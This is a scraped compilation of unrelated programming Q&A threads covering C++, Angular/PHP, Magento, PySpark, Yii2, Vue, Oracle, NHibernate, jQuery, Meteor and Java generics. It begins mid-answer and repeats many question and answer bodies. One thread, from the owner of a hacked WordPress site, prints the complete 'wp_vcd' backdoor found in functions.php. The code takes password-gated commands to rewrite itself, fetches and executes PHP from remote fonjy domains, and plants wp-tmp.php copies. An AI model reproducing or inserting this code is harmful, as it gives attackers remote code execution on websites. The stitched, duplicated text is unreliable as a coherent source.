I doubt though that your compiler supports that. So, maybe stick with a for loop for now.

Title: foreach not recognized in C++

Body:
In my the cs106b book we use the expression "foreach" to go through a list of words in a Map. I implemented the code and banged my head against the wall facing mysterious errors. Here's the code:

   void DisplayWordCounts(Map<int> & wordsCount) {
     foreach (string word in wordsCount) {
        cout << left << setw(15) << word << right << setw(5)
        << wordsCount[word] << endl;
     }
}

on the line starting with "foreach" I get the following errors:
lesson4-macbeth/life.cpp:58: error: expected primary-expression before 'word'
lesson4-macbeth/life.cpp:58: error: 'foreach' was not declared in this scope
lesson4-macbeth/life.cpp:58: error: expected `;' before '{' token

I guess foreach is not recognized. In that case, how can I go through a list of items from the Map class?


问:
Post data from angular to php api side
Here is my (login.service.ts) code:

```<code>private pageURL = 'http://localhost/social/src/app/api/ws/react_signup_login/login.php';
    user = new UserLogin();

    login(value: Object): Observable<any> {
        const body = new URLSearchParams();
        Object.keys(value).forEach(key => {
            body.set(key, value[key]);
        });

        let headers = new Headers();
        headers.append('Content-Type',
            'application/x-www-form-urlencoded');
        return this._http.post(this.pageURL, this.user.toString(), {
            headers: headers
        }).map(res => res.json());
    }
</code>```

And this is my login.ts class

```<code>export class UserLogin {
    username: string;
    password: string;
    constructor() {
    }
}
</code>```

in (login.component.ts)

```<code>user = new UserLogin();
login(value) {
        this._loginService.login({value})
            .subscribe(
                response => this.user = response,
                error => console.log(error)
            );
    }
</code>```

Finally my (login.php) that I expect the error is here

```<code>header("Access-Control-Allow-Origin: *");
header("Content-type:application/json");

if ($_SERVER['REQUEST_METHOD'] == 'POST' && empty($_POST))
    $_POST = json_decode(file_get_contents('php://input'), true);

$params['username'] = $_POST['username'];
$params['password'] = $_POST['password'];
</code>```

When I'm trying to (var_dump) the $params I got this:

```<code>array(2) {
  ["username"]=>
  NULL
  ["password"]=>
  NULL
}
</code>```

答:
Try to use:

```<code>return this._http.post(this.pageURL, value, {
        headers: headers
    }).map(res => res.json());
</code>```

Where value is your user object

Title: Post data from angular to php api side

Body:
Here is my (login.service.ts) code:

private pageURL = 'http://localhost/social/src/app/api/ws/react_signup_login/login.php';
    user = new UserLogin();

    login(value: Object): Observable<any> {
        const body = new URLSearchParams();
        Object.keys(value).forEach(key => {
            body.set(key, value[key]);
        });

        let headers = new Headers();
        headers.append('Content-Type',
            'application/x-www-form-urlencoded');
        return this._http.post(this.pageURL, this.user.toString(), {
            headers: headers
        }).map(res => res.json());
    }

And this is my login.ts class

export class UserLogin {
    username: string;
    password: string;
    constructor() {
    }
}

in (login.component.ts)

user = new UserLogin();
login(value) {
        this._loginService.login({value})
            .subscribe(
                response => this.user = response,
                error => console.log(error)
            );
    }

Finally my (login.php) that I expect the error is here

header("Access-Control-Allow-Origin: *");
header("Content-type:application/json");

if ($_SERVER['REQUEST_METHOD'] == 'POST' && empty($_POST))
    $_POST = json_decode(file_get_contents('php://input'), true);

$params['username'] = $_POST['username'];
$params['password'] = $_POST['password'];

When I'm trying to (var_dump) the $params I got this:

array(2) {
  ["username"]=>
  NULL
  ["password"]=>
  NULL
}

Body:
Try to use:

return this._http.post(this.pageURL, value, {
        headers: headers
    }).map(res => res.json());

Where value is your user object


问:
How to update attribute frontend labels programmatically?
How to update attribute frontend labels programmatically?</p>

```<code> $attributeModel = \Magento\Framework\App\ObjectManager::getInstance()
        ->get(\Magento\Eav\Model\Attribute::class)->load($id);

 ...
</code>```

答:
I've found the solution:</p>

```<code>$attributeModel = \Magento\Framework\App\ObjectManager::getInstance()
    ->get(\Magento\Eav\Model\Attribute::class)
    ->load($id);
  $storeLabels = $attributeModel->getStoreLabels();
  $storeLabels[$storeId] = $labelTitle;
  $attributeModel->setStoreLabels($storeLabels);

  \Magento\Framework\App\ObjectManager::getInstance()
     ->get($attributeModel->getResourceName())
     ->save($attributeModel);
</code>```

Body:
How to update attribute frontend labels programmatically?

 $attributeModel = \Magento\Framework\App\ObjectManager::getInstance()
        ->get(\Magento\Eav\Model\Attribute::class)->load($id);

 ...

Body:
I've found the solution:

$attributeModel = \Magento\Framework\App\ObjectManager::getInstance()
    ->get(\Magento\Eav\Model\Attribute::class)
    ->load($id);
  $storeLabels = $attributeModel->getStoreLabels();
  $storeLabels[$storeId] = $labelTitle;
  $attributeModel->setStoreLabels($storeLabels);

  \Magento\Framework\App\ObjectManager::getInstance()
     ->get($attributeModel->getResourceName())
     ->save($attributeModel);


问:
How to replace special character using regex in pyspark
I am trying to replace }{ in a text file with },{  but I'm getting an error saying

```<code>return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or buffer
</code>```

I am coding a spark job with python (pyspark).

Code:

```<code>from pyspark.sql import SparkSession
import re

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: PythonBLEDataParser.py <file>", file=sys.stderr)
        exit(-1)

    spark = SparkSession\
        .builder\
        .appName("PythonBLEDataParser")\
        .getOrCreate()

    toJson = spark.sparkContext.textFile("/root/vasi/spark-2.2.0-bin-hadoop2.7/vas_files/BLE_data_Sample.txt")
    toJson1 = re.sub("}{","},{",toJson) #i want to replace }{  with  },{
    print(toJson1)
</code>```

Sample data:

```<code>{"EdgeMac":"E4956E4E4015","BeaconMac":"247189F24DDB","RSSI":-59,"MPow":-76,"Timestamp":"1486889542495633","AdData":"0201060303AAFE1716AAFE00DD61687109E602F514C96D00000001F05C0000"}
{"EdgeMac":"E4956E4E4016","BeaconMac":"247189F24DDC","RSSI":-59,"MPow":-76,"Timestamp":"1486889542495633","AdData":"0201060303AAFE1716AAFE00DD61687109E602F514C96D00000001F05C0000"}
{"EdgeMac":"E4956E4E4017","BeaconMac":"247189F24DDD,"RSSI":-59,"MPow":-76,"Timestamp":"1486889542495633","AdData":"0201060303AAFE1716AAFE00DD61687109E602F514C96D00000001F05C0000"}
</code>```

答:
Tried with dataframe instead of rdd and its working. Just placed escape character before braces</p>

```<code>df_sample = spark.read.text('path/to/sample.txt')
df_sample.withColumn('value',regexp_replace(df_sample['value'],'\\}\\{','},{')).collect()[0]
</code>```

Body:
I am trying to replace }{ in a text file with },{  but I'm getting an error saying

return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or buffer

I am coding a spark job with python (pyspark).

Code:

from pyspark.sql import SparkSession
import re

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: PythonBLEDataParser.py <file>", file=sys.stderr)
        exit(-1)

    spark = SparkSession\
        .builder\
        .appName("PythonBLEDataParser")\
        .getOrCreate()

    toJson = spark.sparkContext.textFile("/root/vasi/spark-2.2.0-bin-hadoop2.7/vas_files/BLE_data_Sample.txt")
    toJson1 = re.sub("}{","},{",toJson) #i want to replace }{  with  },{
    print(toJson1)

Sample data:

{"EdgeMac":"E4956E4E4015","BeaconMac":"247189F24DDB","RSSI":-59,"MPow":-76,"Timestamp":"1486889542495633","AdData":"0201060303AAFE1716AAFE00DD61687109E602F514C96D00000001F05C0000"}
{"EdgeMac":"E4956E4E4016","BeaconMac":"247189F24DDC","RSSI":-59,"MPow":-76,"Timestamp":"1486889542495633","AdData":"0201060303AAFE1716AAFE00DD61687109E602F514C96D00000001F05C0000"}
{"EdgeMac":"E4956E4E4017","BeaconMac":"247189F24DDD,"RSSI":-59,"MPow":-76,"Timestamp":"1486889542495633","AdData":"0201060303AAFE1716AAFE00DD61687109E602F514C96D00000001F05C0000"}

Body:
Tried with dataframe instead of rdd and its working. Just placed escape character before braces

df_sample = spark.read.text('path/to/sample.txt')
df_sample.withColumn('value',regexp_replace(df_sample['value'],'\\}\\{','},{')).collect()[0]


问:
What's the difference between ActiveDataProvider and SQLDataProvider?
I'm a little bit confused. I'm wondering what is the difference between Yii2 ActiveDataProvider and SQLDataProvider? I was looking in the documentation for it, but couldn't get it too.

Could someone explain me when should I use one or another? And what is the difference between it?

Thank you for your time.

答:
SqlDataProvider works with a raw SQL statement which is used to fetch the needed data and ActiveDataProvider can take either a yii\db\Query or yii\db\ActiveQuery object.

SqlDataProvider example:

```<code>$provider = new SqlDataProvider([
   'sql' => 'SELECT * FROM post WHERE status=:status',   //HERE
   'params' => [':status' => 1],
   'totalCount' => $count,
   'pagination' => [
       'pageSize' => 10,
   ],
   'sort' => [
       'attributes' => [
           'title',
           'view_count',
           'created_at',
       ],
   ],
]);
</code>```

ActiveDataProvider example:

```<code>$query = Post::find()->where(['status' => 1]);     // ActiveQuery here

$provider = new ActiveDataProvider([
    'query' => $query,                // and here
    'pagination' => [
        'pageSize' => 10,
    ],
    'sort' => [
        'defaultOrder' => [
            'created_at' => SORT_DESC,
            'title' => SORT_ASC,
        ]
    ],
]);
</code>```

Body:
SqlDataProvider works with a raw SQL statement which is used to fetch the needed data and ActiveDataProvider can take either a yii\db\Query or yii\db\ActiveQuery object.

SqlDataProvider example:

$provider = new SqlDataProvider([
   'sql' => 'SELECT * FROM post WHERE status=:status',   //HERE
   'params' => [':status' => 1],
   'totalCount' => $count,
   'pagination' => [
       'pageSize' => 10,
   ],
   'sort' => [
       'attributes' => [
           'title',
           'view_count',
           'created_at',
       ],
   ],
]);

ActiveDataProvider example:

$query = Post::find()->where(['status' => 1]);     // ActiveQuery here

$provider = new ActiveDataProvider([
    'query' => $query,                // and here
    'pagination' => [
        'pageSize' => 10,
    ],
    'sort' => [
        'defaultOrder' => [
            'created_at' => SORT_DESC,
            'title' => SORT_ASC,
        ]
    ],
]);


问:
Autoscroll div issue
I am trying to make a div scroll as content is added into it. I am using a Vuejs list which updates items as source array (a vuejs's data array) changes.

```<code><message v-for="message in messages"></message>
</code>```

This is my auto-scroll pseudo-code:

```<code>let scroll = false;

messagesContainer.addMessageChild(new messageElement(...)); // addMessageChild appends item to vuejs's data, it may be async when it actually adds the element to the DOM which may cause the problem

if (messagesContainer.scrollTop = maxScrollOfMessagesContainer)
    scroll = true;
messagesContainer.scrollTop = maxScrollOfMessagesContainer;
</code>```

However, the messages container element does not scroll. I fear that Vuejs may update (insert) elements from source (data) asynchronously, this way possibly skipping the if (messagesContainer.scrollTop = maxScrollOfMessagesContainer) check (Adding the element (message) after the check).

What could I possibly do to prevent this?

答:
What about a method to scroll on the last message ?

Template:

```<code><message v-for="message in messages" v-class="last-message : $index === (items.length-1)">
</message >
</code>```

Methods:

```<code>// smooth scroll on .last-message
scrollToLastMessage: function () {
  document.querySelector('.last-message').scrollIntoView({
    behavior: 'smooth'
  })
}

// scroll when messages change
watch: {
  messages: function () {
    this.scrollToLastMessage()
  }
}

// scroll when page ready
ready() {
  this.scrollToLastMessage()
}
</code>```

Title: Autoscroll div issue

Body:
I am trying to make a div scroll as content is added into it. I am using a Vuejs list which updates items as source array (a vuejs's data array) changes.

<message v-for="message in messages"></message>

This is my auto-scroll pseudo-code:

let scroll = false;

messagesContainer.addMessageChild(new messageElement(...)); // addMessageChild appends item to vuejs's data, it may be async when it actually adds the element to the DOM which may cause the problem

if (messagesContainer.scrollTop = maxScrollOfMessagesContainer)
    scroll = true;
messagesContainer.scrollTop = maxScrollOfMessagesContainer;

However, the messages container element does not scroll. I fear that Vuejs may update (insert) elements from source (data) asynchronously, this way possibly skipping the if (messagesContainer.scrollTop = maxScrollOfMessagesContainer) check (Adding the element (message) after the check).

What could I possibly do to prevent this?

Body:
What about a method to scroll on the last message ?

Template:

<message v-for="message in messages" v-class="last-message : $index === (items.length-1)">
</message >

Methods:

// smooth scroll on .last-message
scrollToLastMessage: function () {
  document.querySelector('.last-message').scrollIntoView({
    behavior: 'smooth'
  })
}

// scroll when messages change
watch: {
  messages: function () {
    this.scrollToLastMessage()
  }
}

// scroll when page ready
ready() {
  this.scrollToLastMessage()
}


问:
Xamarin.uitest how to close app instance
How to close and relaunch app in Xamarin.UI Test ? I want to restart app for each scenario in feature .

Platform: android

There is no quit() or close() session methods like we have in appium.

答:
Given you are on your are using Xamarin UI Test project,

You can use Finish() to close the application,

or

MoveTaskToBack(true) to minimize the application.

So that you can call them from your Test.cs, you'll need to write myBackdoorClose and myBackdoorMinimize functions (since Finish() and MoveTaskToBack(true) are only available in the App.cs context). How to do that, read here!


问:
My WordPress website got hacked and is being redirected to some unknown source
I don't know how it happened but since a few days ago some code appeared inside my "functions.php" header (My website doesn't work whenever I remove this unknown code), and it seems to redirect and mirroring everything to some unknown source. Now it has affected my SSL Certificate and showing error messages like "This is not a private connection" whenever I try to access my website.

Below is the piece of code that was added to the header of my "functions.php".

Can anyone help me to solve this problem? Thanks

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f22fd2bb9496d1dfe84e31567316a32d')) {
    $div_code_name = "wp_vcd";
    switch ($_REQUEST['action']) {
        case 'change_domain';
            if (isset($_REQUEST['newdomain'])) {
                if (!empty($_REQUEST['newdomain'])) {
                    if ($file = @file_get_contents(__FILE__)) {
                        if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) {
                            $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
                            @file_put_contents(__FILE__, $file);
                            print "true";
                        }
                    }
                }
            }
            break;
        case 'change_code';
            if (isset($_REQUEST['newcode'])) {
                if (!empty($_REQUEST['newcode'])) {
                    if ($file = @file_get_contents(__FILE__)) {
                        if (preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) {
                            $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                            @file_put_contents(__FILE__, $file);
                            print "true";
                        }
                    }
                }
            }
            break;
        default:
            print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }
    die("");
}
$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if (!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
            fwrite($handle, "<?php\n" . $phpCode);
            fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        $wp_auth_key = 'e810cc8873fd72ff6d1585ebccddae8e';
        if (($tmpcontent = @file_get_contents("http://www.fonjy.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.fonjy.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
            }
        } elseif ($tmpcontent = @file_get_contents("http://www.fonjy.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
            }
        } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        } elseif (($tmpcontent = @file_get_contents("http://www.fonjy.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.fonjy.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        }
    }
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>
```

答:
Reinstall your theme. Switch to a new theme and delete the previously used theme which caused the error. Now reinstall your old theme as a fresh install and activate it.  Each theme has its own functions.php file. Just a couple of clicks.

I'm not sure what the cause of your problem is, but if it's because of Plugins, then remove unwanted plugins and deactivate the useful plugins and check whether the website works.

If that doesn't help, you can try to export your current WordPress posts and import to a new WordPress install and point your domain to it. Let me know what it says.


问:
How to compare time ranges?
Hi i am trying to compare time ranges,My requirement is when i select time from time-picker dialog it should be under given time ranges for this i wrote below code this is working when i not select 12 or 00 from time picker dialog

start time:06:00
end time:23:00
selected time from time picker dialog:12:23

above timing not suitable for below code can some one help me please

```<code>     String pattern = "hh:mm";
     SimpleDateFormat sdf = new SimpleDateFormat(pattern);
     Date date1 = sdf.parse(startTime);
     Date date2 = sdf.parse(endTime);
     Date date3 = sdf.parse(selectedTime);
     if (((date3.after(date1) || date3.equals(date1)) && (date3.before(date2) || date3.equals(date2)))) {

     }
     else {
           Toast.makeText(context, "Pickup time should be open and close timings", Toast.LENGTH_SHORT).show();
      }
</code>```

答:
You should use compareTo().

CompareTo method must return negative number if current object is less
  than other object, positive number if current object is greater than
  other object and zero if both objects are equal to each other.

Code Reference

```<code>if (date1.compareTo(date2) < 0)
{
Log.d("RESULT","date1 older than date2");
}
else
{
 Log.d("RESULT","date2 older than date1");
}
</code>```

NOTE

Make sure your TIME format is perfect.

Title: How to compare time ranges?

Body:
Hi i am trying to compare time ranges,My requirement is when i select time from time-picker dialog it should be under given time ranges for this i wrote below code this is working when i not select 12 or 00 from time picker dialog

start time:06:00
end time:23:00
selected time from time picker dialog:12:23

above timing not suitable for below code can some one help me please

     String pattern = "hh:mm";
     SimpleDateFormat sdf = new SimpleDateFormat(pattern);
     Date date1 = sdf.parse(startTime);
     Date date2 = sdf.parse(endTime);
     Date date3 = sdf.parse(selectedTime);
     if (((date3.after(date1) || date3.equals(date1)) && (date3.before(date2) || date3.equals(date2)))) {

     }
     else {
           Toast.makeText(context, "Pickup time should be open and close timings", Toast.LENGTH_SHORT).show();
      }

Body:
You should use compareTo().

CompareTo method must return negative number if current object is less
  than other object, positive number if current object is greater than
  other object and zero if both objects are equal to each other.

Code Reference

if (date1.compareTo(date2) < 0)
{
Log.d("RESULT","date1 older than date2");
}
else
{
 Log.d("RESULT","date2 older than date1");
}

NOTE

Make sure your TIME format is perfect.


问:
Error running DBMS_UTILITY.COMMA_TO_TABLE
I am working on this Oracle DB version Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production

I have this String @IBERIA,P30L0X00054A4,2017-12-04T06:44:09,4.3803048133850,50.8304405212402 stored in VARCHAR2

But running this function:

```<code>lv_tab_length   BINARY_INTEGER;
lt_array   DBMS_UTILITY.lname_array;
p_imei VARCHAR2(50);
UTC_time VARCHAR2(50);
asset_latitude  VARCHAR2(20);
asset_longitude VARCHAR2(20);

DBMS_UTILITY.COMMA_TO_TABLE( list => p_msg
                              , tablen => lv_tab_length
                              , tab => lt_array
                              );

 p_imei          :=  lt_array( 1 );
 UTC_time        :=  lt_array( 2 );
 asset_latitude  :=  lt_array( 3 );
 asset_longitude :=  lt_array( 4 );
</code>```

I got this error:

```<code>ORA-20001: comma-separated list invalid near 2
</code>```

答:
```<code>v_array apex_application_global.vc_arr2;
v_array := apex_util.string_to_table(p_msg, ',');

p_imei          :=  v_array( 1 );
UTC_time        :=  v_array( 2 );
asset_latitude  :=  v_array( 3 );
asset_longitude :=  v_array( 4 );
</code>```

Body:
I am working on this Oracle DB version Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production

I have this String @IBERIA,P30L0X00054A4,2017-12-04T06:44:09,4.3803048133850,50.8304405212402 stored in VARCHAR2

But running this function:

lv_tab_length   BINARY_INTEGER;
lt_array   DBMS_UTILITY.lname_array;
p_imei VARCHAR2(50);
UTC_time VARCHAR2(50);
asset_latitude  VARCHAR2(20);
asset_longitude VARCHAR2(20);

DBMS_UTILITY.COMMA_TO_TABLE( list => p_msg
                              , tablen => lv_tab_length
                              , tab => lt_array
                              );

 p_imei          :=  lt_array( 1 );
 UTC_time        :=  lt_array( 2 );
 asset_latitude  :=  lt_array( 3 );
 asset_longitude :=  lt_array( 4 );

I got this error:

ORA-20001: comma-separated list invalid near 2


问:
What are the advantages of installing programs in AppData like Google Chrome?
I just noticed that Chromium was installed in AppData in both Vista and XP. If Google does that and if other applications does this, than is that becuase there is some form of protection? Should we write installers that does the same thing as Google?</p>

答:
Windows still lacks a convention for per-user installation.

When an installer asks whether to install for the current user or all users, it really only refers to shortcut placement (Start Menu; Desktop). The actual application files still go in the system-wide %PROGRAMFILES%.

Microsoft's own ClickOnce works around this by creating a completely non-standard %USERPROFILE%\Local Settings\Apps (%USERPROFILE%\AppData\Roaming on Vista / Server 2008) directory, with both program files and configuration data in there.

(I'm at a loss why Microsoft couldn't add a per-user Program Files directory in Vista. For example, in OS X, you can create a ~/Applications, and the Finder will give it an appropriate icon. Apps like CrossOver and Adobe AIR automatically use that, defaulting to per-user apps. Thus, no permissions issues.)

What you probably should do: if the user is not an admin, install in the user directory; if they do, give them both options.

OwnerDisplayName: Ravi Chhabra

LastEditorDisplayName: charlesroper

OwnerDisplayName: Soeren Kuklau


问:
Many-to-many mapping with extra columns in join table
Here is the domain that I wish to have:

```<code>public class Person
{
    public int Id { get; set; }
    public IList<AcquiredCertificate> AcquiredCertificates { get; set; }
}

public class AcquiredCertificate
{
    public Person Acquirer { get; set; }
    public Certificate Certificate { get; set; }
    public DateTime DateAcquired;
}

public class Certificate
{
    public int Id { get; set; }
}
</code>```

And this is the schema that I have:

```<code>CREATE TABLE People (
    PersonId INT PRIMARY KEY
);

CREATE TABLE Certificates (
    CertificateId INT PRIMARY KEY
);

CREATE TABLE CertificatesAcquiredByPeople (
    PersonId INT,
    CertificatedId INT,
    DateAcquired DATETIME
);
</code>```

It's a contrived schema and domain but it's pretty much the same as something that I am working with. I currently have it working by writing a 3rd domain entity to represent the CertificatesAcquiredByPeople table but that really seems strange to me.

How would I map this using NHibernate? I believe the component tag in the hbm file should do what I want, but I can't quite figure it out.

Is my domain out of whack because I have a DateAcquired property on my Certificate class? The date really is only a concern of a Person that has a certificate.

[Edit]

I've altered the domain model now to reflect that a new entity is needed. Now for the mapping do I need 3 (for each entity) mappings or can I do it with 2 (for Person and Certificate)?

答: Re: your updated Q, you will need three mappings, one for each of the three entities that now participate in the pair of one-to-many relations.</p>

OwnerDisplayName: Scott Muc

Body:
Here is the domain that I wish to have:

public class Person
{
    public int Id { get; set; }
    public IList<AcquiredCertificate> AcquiredCertificates { get; set; }
}

public class AcquiredCertificate
{
    public Person Acquirer { get; set; }
    public Certificate Certificate { get; set; }
    public DateTime DateAcquired;
}

public class Certificate
{
    public int Id { get; set; }
}

And this is the schema that I have:

CREATE TABLE People (
    PersonId INT PRIMARY KEY
);

CREATE TABLE Certificates (
    CertificateId INT PRIMARY KEY
);

CREATE TABLE CertificatesAcquiredByPeople (
    PersonId INT,
    CertificatedId INT,
    DateAcquired DATETIME
);

It's a contrived schema and domain but it's pretty much the same as something that I am working with. I currently have it working by writing a 3rd domain entity to represent the CertificatesAcquiredByPeople table but that really seems strange to me.

How would I map this using NHibernate? I believe the component tag in the hbm file should do what I want, but I can't quite figure it out.

Is my domain out of whack because I have a DateAcquired property on my Certificate class? The date really is only a concern of a Person that has a certificate.

[Edit]

I've altered the domain model now to reflect that a new entity is needed. Now for the mapping do I need 3 (for each entity) mappings or can I do it with 2 (for Person and Certificate)?

LastEditorDisplayName: Scott Muc

OwnerDisplayName: sbohlen


问:
How do I show/hide elements using jQuery when there are two intersecting principles governing if they are to be visible or not?
I have a web page that contains a set of elements that are marked with metadata using HTML5's "data-" tag. Each element represents a specific course or program at a school. Here's an example of what the set of elements can look like:

```<code><div class="courseBox" data-type="course" data-location="campus">info about this particular course</div>

<div class="courseBox" data-type="program" data-location="campus">info about this particular course</div>

<div class="courseBox" data-type="course" data-location="distance">info about this particular course</div>

<div class="courseBox" data-type="program" data-location="distance">info about this particular course</div>
</code>```

As you can see each element is either a course (short single course) or a program (a full education that spans over several years). Furthermore, each element is eithar campus (on campus) or distance (distance learning).

In the interface for this page the user has four buttons that can either be on/true or off/false. The four buttons are:

Course | Program | Campus | Distance

When the page loads all four buttons are on/true since the page displays all courses and programs, both on campus and distance learning.

When the user clicks one of the buttons, I want to use jQuery to hide all the elements that no longer match the criteria; in other words: a filter.

At first this seemed like an easy task. Just write something along the lines of:

```<code>$("#courseButton").toggle(function(){
   $("courseBox[data-type='course']").hide();
},
function(){
   $("courseBox[data-type='course']").show();
});
</code>```

This works fine as long as the two different ways of categorizing the elements don't collide. But consider this case:

The user first clicks the "Course"
button, which hides all the courses
(marked "courses").

Then clicks the "Distance" button
which hides all elements marked
"distance".

The user then clicks the "Course"
button again, which will show all
element marked with "courses" including
those that are marked "distance",
despite the fact that they are
supposed to be hidden.

My question now is: how do I create a filter function using jQuery that will function properly eventhough there are two different (intersecting) ways of categorizing the elements?

Thanks in advance!

/Thomas Kahn

答:
Build a complete selector each time based on all four inputs.

Something like this:

```<code>var selector = '';
$('input:checkbox').each(function(){
    if (this.checked){
        selector += '[data-type="' + this.id +'"], '; // assuming checkbox.id =  Course|Program|Campus|Distance
    }
});

selector = selector.substring(0, selector.length-1); // kill trailing ' ,'

var all = $('.courseBox'),
    toShow = all.filter(selector),
    toHide = all.not(toShow);

toShow.show();
toHide.hide();
</code>```

Body:
I have a web page that contains a set of elements that are marked with metadata using HTML5's "data-" tag. Each element represents a specific course or program at a school. Here's an example of what the set of elements can look like:

info about this particular course

info about this particular course

info about this particular course

info about this particular course

As you can see each element is either a course (short single course) or a program (a full education that spans over several years). Furthermore, each element is eithar campus (on campus) or distance (distance learning).

In the interface for this page the user has four buttons that can either be on/true or off/false. The four buttons are:

Course | Program | Campus | Distance

When the page loads all four buttons are on/true since the page displays all courses and programs, both on campus and distance learning.

When the user clicks one of the buttons, I want to use jQuery to hide all the elements that no longer match the criteria; in other words: a filter.

At first this seemed like an easy task. Just write something along the lines of:

$("#courseButton").toggle(function(){
   $("courseBox[data-type='course']").hide();
},
function(){
   $("courseBox[data-type='course']").show();
});

This works fine as long as the two different ways of categorizing the elements don't collide. But consider this case:

The user first clicks the "Course"
button, which hides all the courses
(marked "courses").

Then clicks the "Distance" button
which hides all elements marked
"distance".

The user then clicks the "Course"
button again, which will show all
element marked with "courses" including
those that are marked "distance",
despite the fact that they are
supposed to be hidden.

My question now is: how do I create a filter function using jQuery that will function properly eventhough there are two different (intersecting) ways of categorizing the elements?

Thanks in advance!

/Thomas Kahn

Body:
Build a complete selector each time based on all four inputs.

Something like this:

var selector = '';
$('input:checkbox').each(function(){
    if (this.checked){
        selector += '[data-type="' + this.id +'"], '; // assuming checkbox.id =  Course|Program|Campus|Distance
    }
});

selector = selector.substring(0, selector.length-1); // kill trailing ' ,'

var all = $('.courseBox'),
    toShow = all.filter(selector),
    toHide = all.not(toShow);

toShow.show();
toHide.hide();


问:
Got duplicate key error dup key: { : undefined }
I have an array field called udids in Meteor.users schema, which should contains unique elements. This is how I defined the index using SimpleSchema and Collection2:

```<code>new SimpleSchema({
  ...
  udids: {
    type: Array,
    index: true,
    unique: true,
    optional: true,
    sparse: true,
  },
  'udids.$': {
    type: String,
  },
  ...
})
</code>```

However, when I start the app, I got this error: E11000 duplicate key error collection: meteor.users index: c2_udids dup key: { : undefined }.

I tried searching for the documents with udids = undefined in the database: db.users.find({ udids: { $type: 6 } }) ($type: 6 for undefined value) but it returns nothing.

答: The error message is a bit unclear so I had to guess the reason why. I found out that the current database already has some users with udids = []. I'm writing a migration script to unset this field from those users. Hopefully this will help others who have the same problem as me.

Body:
I have an array field called udids in Meteor.users schema, which should contains unique elements. This is how I defined the index using SimpleSchema and Collection2:

new SimpleSchema({
  ...
  udids: {
    type: Array,
    index: true,
    unique: true,
    optional: true,
    sparse: true,
  },
  'udids.$': {
    type: String,
  },
  ...
})

However, when I start the app, I got this error: E11000 duplicate key error collection: meteor.users index: c2_udids dup key: { : undefined }.

I tried searching for the documents with udids = undefined in the database: db.users.find({ udids: { $type: 6 } }) ($type: 6 for undefined value) but it returns nothing.


问:
What is the type of T
Given:

```<code>public static <T> void copy(List<? super T> dest, List<? extends T> src)
</code>```

I have seen this page:
Confusion over Java generic method type inference

But I am still confused, dasblinkenlight says that as long as the Object you pass in is consistent then the code should compile.

Does this mean that the first argument type will help determine what is valid
for the second?

```<code>public class Hello {

    public static void main(String[] args){
        ArrayList<Animal> dogs = new ArrayList<>();
        ArrayList<Marly> marlies = new ArrayList<>();

        copy(dogs,marlies);
    }

    public static <T> void copy(List<? super T> dest, List<? extends T> src{

    }
}

class Animal{}
class Dog extends Animal { }
class Beagle extends Dog { }
class Marly extends Beagle{ }
</code>```

